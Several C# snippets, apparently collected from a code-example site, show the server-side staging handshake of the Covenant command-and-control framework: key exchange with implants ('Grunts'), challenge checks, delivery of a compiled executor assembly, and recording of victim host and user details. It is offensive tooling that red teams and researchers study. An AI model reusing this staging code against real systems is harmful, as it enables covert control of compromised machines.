예제 #1
0
        private ActionResult RegisterGrunt(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage)
        {
            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage2 || !gruntMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt);
            string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage));

            // todo: try/catch on deserialize?
            Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message);

            targetGrunt.IpAddress       = grunt.IPAddress;
            targetGrunt.Hostname        = grunt.Hostname;
            targetGrunt.OperatingSystem = grunt.OperatingSystem;
            targetGrunt.UserDomainName  = grunt.UserDomainName;
            targetGrunt.UserName        = grunt.UserName;
            targetGrunt.Status          = GruntStatus.Active;
            targetGrunt.Integrity       = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString());
            targetGrunt.Process         = grunt.Process;
            realGrunt.LastCheckIn       = DateTime.UtcNow;

            CovenantClient.ApiGruntsPut(targetGrunt);

            GruntTaskingMessage tasking = new GruntTaskingMessage
            {
                Message = targetGrunt.CookieAuthKey,
                Name    = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10),
                Type    = GruntTaskingType.Jobs,
                Token   = false
            };

            Models.Grunts.GruntEncryptedMessage responseMessage = null;
            try
            {
                responseMessage = this.CreateMessageForGrunt(egressGrunt, targetGrunt, tasking);
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }

            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
예제 #2
0
        private ActionResult RegisterGrunt(Covenant.Models.Grunts.GruntEncryptedMessage gruntMessage)
        {
            API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntMessage.Id);
            if (gruntModel == null || gruntModel.Status != GruntStatus.Stage2)
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (!gruntMessage.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel);
            string message = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(gruntMessage));

            // todo: try/catch on deserialize?
            Covenant.Models.Grunts.Grunt grunt = JsonConvert.DeserializeObject <Covenant.Models.Grunts.Grunt>(message);

            gruntModel.IpAddress       = grunt.IPAddress;
            gruntModel.OperatingSystem = grunt.OperatingSystem;
            gruntModel.UserDomainName  = grunt.UserDomainName;
            gruntModel.UserName        = grunt.UserName;
            gruntModel.Status          = GruntStatus.Active;
            gruntModel.Integrity       = (API.Models.IntegrityLevel)Enum.Parse(typeof(API.Models.IntegrityLevel), grunt.Integrity.ToString());
            gruntModel.Process         = grunt.Process;

            CovenantClient.ApiGruntsPut(gruntModel);
            CovenantClient.ApiEventsPost(new EventModel
            {
                Message = "Grunt: " + grunt.Name + " from: " + grunt.IPAddress + " has been activated!",
                Level   = EventLevel.Highlight,
                Context = "*"
            });

            var responseMessage = Covenant.Models.Grunts.GruntEncryptedMessage.Create(
                Covenant.Models.Grunts.Grunt.Create(gruntModel), Common.CovenantEncoding.GetBytes(gruntModel.CookieAuthKey)
                );
            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
예제 #3
0
        public ActionResult PostStage2(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response)
        {
            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage1 || !gruntStage2Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt);
            byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response);
            if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            realGrunt.Status      = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2;
            realGrunt.LastCheckIn = DateTime.UtcNow;
            this.CovenantClient.ApiGruntsPut(realGrunt.ToModel());
            API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId);
            API.Models.HttpProfile  profileModel  = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId);
            var    realListener          = Covenant.Models.Listeners.HttpListener.Create(listenerModel);
            string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel));

            Covenant.Models.Grunts.GruntEncryptedMessage message = null;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, Convert.FromBase64String(GruntExecutorAssembly));
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }

            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)"
            return(Ok(response));
        }
예제 #4
0
        private ActionResult PostStage1(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response)
        {
            if (targetGrunt == null || targetGrunt.Status != GruntStatus.Stage0 || !gruntStage1Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (egressGrunt == null)
            {
                egressGrunt = targetGrunt;
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt);
            byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response);
            byte[] challenge2 = new byte[4];
            using (RandomNumberGenerator rng = RandomNumberGenerator.Create())
            {
                rng.GetBytes(challenge2);
            }
            // Save challenge to compare on response
            realGrunt.GruntChallenge = Convert.ToBase64String(challenge2);
            realGrunt.Status         = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1;
            realGrunt.LastCheckIn    = DateTime.UtcNow;
            CovenantClient.ApiGruntsPut(realGrunt.ToModel());

            Covenant.Models.Grunts.GruntEncryptedMessage message = null;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, challenge1.Concat(challenge2).ToArray());
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }

            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)"
            return(Ok(response));
        }
예제 #5
0
        private ActionResult PostStage1(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage1Response)
        {
            // Check if this Grunt ID is already active
            API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage1Response.Id);
            if (gruntModel == null || gruntModel.Status != GruntStatus.Stage0)
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (!gruntStage1Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel);
            byte[] challenge1 = realGrunt.SessionDecrypt(gruntStage1Response);
            byte[] challenge2 = new byte[4];
            using (RandomNumberGenerator rng = RandomNumberGenerator.Create())
            {
                rng.GetBytes(challenge2);
            }
            // Save challenge to compare on response
            realGrunt.GruntChallenge = Convert.ToBase64String(challenge2);

            Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, challenge1.Concat(challenge2).ToArray());

            string Stage1Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC;

            // Stage1Response: "Base64(IV),Base64(AES(challenge1 + challenge2)),Base64(HMAC)"

            realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage1;
            CovenantClient.ApiGruntsPut(realGrunt.ToModel());

            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage1Response));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
예제 #6
0
        public ActionResult PostStage2(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage2Response)
        {
            // Check if this Grunt ID is already active
            API.Models.Grunt gruntModel = CovenantClient.ApiGruntsByIdGet(gruntStage2Response.Id);
            if (gruntModel == null || gruntModel.Status != GruntStatus.Stage1)
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (!gruntStage2Response.VerifyHMAC(Convert.FromBase64String(gruntModel.GruntNegotiatedSessionKey)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            Covenant.Models.Grunts.Grunt realGrunt = Covenant.Models.Grunts.Grunt.Create(gruntModel);
            byte[] challenge2test = realGrunt.SessionDecrypt(gruntStage2Response);
            if (realGrunt.GruntChallenge != Convert.ToBase64String(challenge2test))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            realGrunt.Status = Covenant.Models.Grunts.Grunt.GruntStatus.Stage2;
            this.CovenantClient.ApiGruntsPut(realGrunt.ToModel());
            API.Models.HttpListener listenerModel = this.CovenantClient.ApiListenersHttpByIdGet(realGrunt.ListenerId);
            API.Models.HttpProfile  profileModel  = this.CovenantClient.ApiListenersByIdProfileGet(realGrunt.ListenerId);
            var    realListener          = Covenant.Models.Listeners.HttpListener.Create(listenerModel);
            string GruntExecutorAssembly = realListener.CompileGruntExecutorCode(realGrunt, Covenant.Models.Listeners.HttpProfile.Create(profileModel));
            var    message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(realGrunt, Convert.FromBase64String(GruntExecutorAssembly));

            string Stage2Response = message.IV + "," + message.EncryptedMessage + "," + message.HMAC;
            // returns: "Base64(IV),Base64(AES(GruntExecutorAssembly)),Base64(HMAC)"
            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage2Response));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
예제 #7
0
        // stage0
        private ActionResult PostStage0(Covenant.Models.Grunts.GruntEncryptedMessage gruntStage0Response)
        {
            // Check if this Grunt ID is already active
            API.Models.Grunt savedGrunt = CovenantClient.ApiGruntsByIdGet(gruntStage0Response.Id);
            if (savedGrunt == null)
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            if (!gruntStage0Response.VerifyHMAC(Convert.FromBase64String(savedGrunt.GruntSharedSecretPassword)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            Covenant.Models.Grunts.Grunt realGrunt = null;
            if (savedGrunt.Status != GruntStatus.Uninitialized)
            {
                savedGrunt.Status = GruntStatus.Stage0;
                // We create a new Grunt if this one is not uninitialized
                API.Models.Grunt tempModel = new API.Models.Grunt
                {
                    Status                    = savedGrunt.Status,
                    ListenerId                = savedGrunt.ListenerId,
                    CovenantIPAddress         = savedGrunt.CovenantIPAddress,
                    GruntSharedSecretPassword = savedGrunt.GruntSharedSecretPassword,
                    Delay                  = savedGrunt.Delay, Jitter = savedGrunt.Jitter,
                    ConnectAttempts        = savedGrunt.ConnectAttempts,
                    DotNetFrameworkVersion = savedGrunt.DotNetFrameworkVersion
                };
                API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPost(tempModel);
                realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
            }
            else
            {
                savedGrunt.Status = GruntStatus.Stage0;
                API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPut(savedGrunt);
                realGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
            }

            // EncryptedMessage is the RSA Public Key
            realGrunt.GruntRSAPublicKey = Convert.ToBase64String(Encrypt.Utilities.AesDecrypt(
                                                                     gruntStage0Response,
                                                                     Convert.FromBase64String(realGrunt.GruntSharedSecretPassword)
                                                                     ));
            // Generate negotiated session key
            Aes newAesKey = Aes.Create();

            newAesKey.GenerateKey();
            realGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key);
            CovenantClient.ApiGruntsPut(realGrunt.ToModel());

            byte[] rsaEncryptedBytes = realGrunt.RSAEncrypt(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey));

            Covenant.Models.Grunts.GruntEncryptedMessage message = Covenant.Models.Grunts.GruntEncryptedMessage.Create(
                realGrunt,
                rsaEncryptedBytes,
                Convert.FromBase64String(realGrunt.GruntSharedSecretPassword)
                );
            string Stage0Response = message.Id + "," + message.Name + "," + message.IV + "," + message.EncryptedMessage + "," + message.HMAC;
            // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)"
            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(Stage0Response));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            return(Ok(response));
        }
예제 #8
0
        private ActionResult PostStage0(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage gruntStage0Response)
        {
            if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword)))
            {
                // Always return NotFound, don't give away unnecessary info
                return(NotFound());
            }
            bool egressGruntExists = (egressGrunt != null);

            Covenant.Models.Grunts.Grunt realTargetGrunt = null;
            string guid = gruntStage0Response.GUID.Substring(10);

            if (targetGrunt.Status != GruntStatus.Uninitialized)
            {
                // We create a new Grunt if this one is not uninitialized
                API.Models.Grunt tempModel = new API.Models.Grunt
                {
                    Id                        = 0,
                    Guid                      = gruntStage0Response.GUID.Substring(10),
                    Status                    = GruntStatus.Stage0,
                    ListenerId                = targetGrunt.ListenerId,
                    CovenantIPAddress         = targetGrunt.CovenantIPAddress,
                    GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword,
                    CommType                  = targetGrunt.CommType,
                    SmbPipeName               = targetGrunt.SmbPipeName,
                    Delay                     = targetGrunt.Delay, JitterPercent = targetGrunt.JitterPercent, KillDate = targetGrunt.KillDate,
                    ConnectAttempts           = targetGrunt.ConnectAttempts,
                    DotNetFrameworkVersion    = targetGrunt.DotNetFrameworkVersion,
                    LastCheckIn               = DateTime.UtcNow
                };
                API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPost(tempModel);
                realTargetGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
            }
            else
            {
                targetGrunt.Status      = GruntStatus.Stage0;
                targetGrunt.Guid        = guid;
                targetGrunt.LastCheckIn = DateTime.UtcNow;
                API.Models.Grunt tempGrunt = CovenantClient.ApiGruntsPut(targetGrunt);
                realTargetGrunt = Covenant.Models.Grunts.Grunt.Create(tempGrunt);
            }
            if (!egressGruntExists)
            {
                egressGrunt = realTargetGrunt.ToModel();
            }

            // EncryptedMessage is the RSA Public Key
            realTargetGrunt.GruntRSAPublicKey = Convert.ToBase64String(Encrypt.Utilities.AesDecrypt(
                                                                           gruntStage0Response,
                                                                           Convert.FromBase64String(realTargetGrunt.GruntSharedSecretPassword)
                                                                           ));
            // Generate negotiated session key
            Aes newAesKey = Aes.Create();

            newAesKey.GenerateKey();
            realTargetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key);
            this.CovenantClient.ApiGruntsPut(realTargetGrunt.ToModel());

            if (egressGruntExists)
            {
                // Add this as Child grunt to Grunt that connects it
                List <GruntTasking> taskings = this.CovenantClient.ApiTaskingsGet().ToList();
                // TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort?
                GruntTasking connectTasking = taskings.Where(GT => GT.Type == GruntTaskingType.Connect && GT.Status == GruntTaskingStatus.Progressed).Reverse().FirstOrDefault();
                if (connectTasking == null)
                {
                    return(NotFound());
                }
                connectTasking           = this.CovenantClient.ApiGruntsByIdTaskingsByTidDetailGet(connectTasking.GruntId ?? default, connectTasking.Id ?? default);
                realTargetGrunt.Hostname = connectTasking.GruntTaskingMessage.Message.Split(",")[0];
                this.CovenantClient.ApiGruntsPut(realTargetGrunt.ToModel());
                connectTasking.Status = GruntTaskingStatus.Completed;
                this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(connectTasking.GruntId ?? default, connectTasking.Id ?? default, connectTasking);
            }

            byte[] rsaEncryptedBytes = realTargetGrunt.RSAEncrypt(Convert.FromBase64String(realTargetGrunt.GruntNegotiatedSessionKey));
            Covenant.Models.Grunts.GruntEncryptedMessage message = null;
            try
            {
                message = this.CreateMessageForGrunt(egressGrunt, realTargetGrunt.ToModel(), rsaEncryptedBytes);
            }
            catch (HttpOperationException)
            {
                return(NotFound());
            }
            // Transform response
            string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message)));
            // Format transformed response
            string response = String.Format(this.Profile.HttpPostResponse, transformed);

            // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)"
            return(Ok(response));
        }